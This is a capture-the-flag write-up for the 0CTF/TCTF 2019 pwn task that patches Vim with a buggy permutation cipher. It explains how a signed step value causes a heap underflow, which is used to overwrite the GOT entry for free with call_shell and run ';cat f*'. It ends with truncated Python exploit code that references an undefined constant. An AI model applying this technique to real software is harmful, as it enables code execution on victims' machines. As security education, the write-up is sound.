If on a winters night a traveler write-up (0CTF/TCTF Quals 2019)

"If on a winters night a traveler" was a pwn task on 0CTF/TCTF Quals 2019. You have to pwn a custom buggy encryption algorithm for Vim.

If you didn't know (frankly, I had no idea either), Vim has support for encrypted files. Encrypted files start with VimCrypt~ magic, and Vim prompts for password when opening files starting with such magic. Stock Vim has support for zip, blowfish, blowfish2 encryption options (see :help encryption).

Both patch (.diff) and binary were provided, along with commit hash of upstream Vim version to which patch was applied.

The patch adds a new simple permutation cipher, and also removes the interactive password prompt, making the password always a constant string "a".

You upload a file to the server, and it executes Vim on it:

os.system('echo ":q" | /home/calvino/vim --clean %s' % f.name)

The bug

/* The state of encryption, referenced by cryptstate_T. */
typedef struct {
    int key;
    int shift;
    int step;
    int orig_size;
    int size;
    int cur_idx;
    char_u *buffer;
} perm_state_T;

The bug was in how step is handled. It's a signed integer, and it's initialized to ps->step = ps->key ^ iv;. The key is always constant, and iv is taken from the first 4 bytes of the input, and we fully control it. Thus, we can make the step negative.

This isn't checked further on, so when step is -1, the following loop underflows to buffer by copying from bytes backwards:

    /* Step 2: Multiplication */
    i = 4;
    while (i < len)
        if (ps->cur_idx < ps->orig_size)
            to[i] = from[ps->cur_idx+4];
        ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;

Just like this:

 |        a b c d e f g ...
  ^       ^
  |       |
  from    from+4
    ... g f|e d c b a       
           ^        ^
           |        |
           to       to+4


The heap happens to be laid out in such way that perm_state_T precedes the to buffer, so given large enough input, we overwrite that structure from its end.

If we overwrite buffer pointer, which conveniently is the last member of the structure, we obtain pretty much arbitrary write:

for (i = 0; i < ps->shift; ++i)
    ps->buffer[i] = to[i+4];

However, note that when we start overwriting the heap backwards, only the first byte of &to[i+4] is written to. One byte of arbitrary write is hardly enough.

But we can overwrite the struct's cur_idx most significant byte (remember that we're going backwards) in such way that (ps->cur_idx+ps->step)%ps->size becomes positive 12, and fill the buffer with data backwards:

    ... g f|e d c b a                      
           ^        ^               ^
           |        |               |
           to       to+4            to+12

Since heap becomes severely corrupted during the underflow, and free call at the end of crypt_perm_decode crashes,the best candidate for overwriting is the GOT entry of free function. I overwrote it with the address of call_shell function from Vim binary. free function is called many times, and some of the calls include fully controllable buffers. So we can just put cat flag in there.

Another small detail is that you have to carefully pick input length in such way that shift (which is key % (len-4)) isn't too big, otherwise you'll overwrite GOT entry for strlen as well, making call_shell function crash.

The basic idea is simple: you have a heap overflow, and you can overwrite a pointer in some adjacent structure to obtain an arbitrary write. What makes the task fun is that overflow direction and step is controllable, and you have to overwrite index in order to fill the source buffer with enough data that will be copied later on.

Exploit code

The exploit code is messy.

#!/usr/bin/env python2

from __future__ import print_function

import sys
import os
import struct

from pwn import *

GOT_FREE = 0x8A8238

def main():

    payload = struct.pack(">i", -1 ^ 0x61) # step = iv ^ key
    payload += b'aaaaaaaabaaaaaaacaaaa' + p64(GOT_FREE-1-8)[::-1] + p8(0x38) + (b';cat f*\0' + p64(CALL_SHELL))[::-1] + cyclic(3+8+24, n=8).replace(p64(0x6161616461616161)[::-1], p64(GOT_FREE-8-1)[::-1]).replace('a', ' ')


    with open(sys.argv[1], "wb") as f:

if __name__ == "__main__":